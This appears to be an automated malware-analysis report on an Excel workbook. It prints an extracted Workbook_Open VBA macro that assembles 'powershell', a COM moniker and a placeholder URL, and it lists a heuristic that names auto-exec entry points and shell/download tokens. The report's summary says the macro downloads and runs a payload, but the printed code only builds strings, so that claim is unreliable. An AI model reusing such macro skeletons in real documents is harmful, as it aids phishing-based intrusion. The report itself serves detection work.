MALICIOUS
68
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
The OOXML file contains a Workbook_Open VBA macro that is designed to execute a PowerShell command. This command is constructed by concatenating strings to form 'powershell' and then uses the reconstructed URL 'https://YourWebSite.com/?your_query_parameters' to download and execute a second-stage payload. The presence of the Workbook_Open macro and the execution of external code strongly indicate a malicious intent, likely for initial access via spearphishing.
Heuristics 3
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1135 bytes |
SHA-256: 1de84bc2335abd72d21706481ecdb49c100537249da16c89a6811c219a89d47e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
Dim gg As String
Dim wp As String
Dim ggwp As String
Dim p1 As String
Dim p2 As String
Dim p3 As String
Dim p4 As String
gg = "powers"
wp = "hell"
p1 = "new:07B919"
p2 = "A9-79D7-4FE0-8D0"
p3 = "B-A8103A672E2A"
p4 = p1 & p2 & p3
ggwp = gg & wp
Dim myUR As String
Dim L As String
Dim g As String
myUR = "htt"
L = "ps://YourWebSite.com/?your_query_parameters"
g = myUR & L
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 18432 bytes |
SHA-256: b96fcadff2b0bf124a86619f5791a9940d80da86c85795577038713606b5eab1 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.